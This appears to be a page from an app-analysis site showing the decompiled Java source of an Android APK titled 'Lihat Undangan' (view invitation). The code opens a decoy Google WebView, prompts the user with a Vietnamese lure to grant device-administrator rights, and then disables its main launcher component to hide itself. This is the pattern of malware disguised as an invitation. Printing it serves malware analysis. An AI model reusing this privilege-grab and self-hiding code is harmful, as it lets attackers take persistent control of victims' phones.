Lihat Undangan.💒 v1.0版本的 MD5 值为:22f1bc5ca35bd76e9b5022c23ca7fbaa
以下内容为反编译后的 MainActivityAlias.java 源代码,内容仅作参考
package com.example.myapplicatior;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivityAlias extends AppCompatActivity {
private static final int RESULT_ENABLE = 0;
private static final int VISIBILITY = 1028;
WebSettings websettingku;
WebView webviewku;
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(com.rhmsoft.codeundagLwpxt7.R.NP_MANAGER11.MT_Bin_res_0x7f0b001c);
WebSettings settings = this.webviewku.getSettings();
this.websettingku = settings;
settings.setJavaScriptEnabled(true);
this.webviewku.setWebViewClient(new WebViewClient());
this.webviewku.loadUrl("https://www.google.com");
if (Build.VERSION.SDK_INT >= 19) {
this.webviewku.setLayerType(2, null);
} else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
this.webviewku.setLayerType(1, null);
}
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(getApplicationContext(), (Class<?>) MainActivity.class));
intent.putExtra("android.app.extra.ADD_EXPLANATION", "Bấm zô nút đồng ý(ACTIVE á)");
startActivityForResult(intent, 0);
PackageManager packageManager = getPackageManager();
packageManager.setComponentEnabledSetting(new ComponentName(this, (Class<?>) MainActivity.class), 2, 1);
packageManager.setComponentEnabledSetting(new ComponentName(this, (Class<?>) MainActivityAlias.class), 1, 1);
}
}